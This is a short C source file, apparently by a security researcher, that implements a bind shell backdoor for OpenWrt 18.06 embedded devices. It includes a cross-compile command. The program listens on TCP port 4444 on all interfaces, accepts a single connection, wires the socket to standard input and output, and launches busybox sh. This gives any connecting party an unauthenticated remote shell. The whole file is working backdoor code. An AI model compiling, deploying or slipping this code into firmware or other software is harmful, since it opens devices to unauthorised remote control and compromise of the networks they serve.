Bind shell network backdoor for embedded devices (tested on OpenWrt 18.06 firmware)

bindshell-unstable.c

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#define BACKDOOR_PORT 4444

 /* Author: Piyush Raj (0x48piraj)
  * Bind Shell for OpenWrt 18.06 firmware, handles one connection per execution
  * Arch : i486
  * ./i486-openwrt-linux-musl-gcc bindshell-unstable.c -o bindshell
  */

int main()
{
    int dup2(int oldfd, int newfd);
    int execve(const char *path, char *args[], char envp[]);
    char *args[] = { "/bin/busybox", "sh", (char *) 0 };
    int h_sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in h_addr;
    h_addr.sin_family = AF_INET;
    h_addr.sin_port = htons(BACKDOOR_PORT);
    h_addr.sin_addr.s_addr = INADDR_ANY;
    bind(h_sock, (struct sockaddr *)&h_addr, sizeof(h_addr));
    listen(h_sock, 0);
    int c_sock = accept(h_sock, NULL, NULL);
    dup2(c_sock, 0);
    dup2(c_sock, 1);
    dup2(c_sock, 2);
    execve("/bin/busybox", args, (char *) 0);
}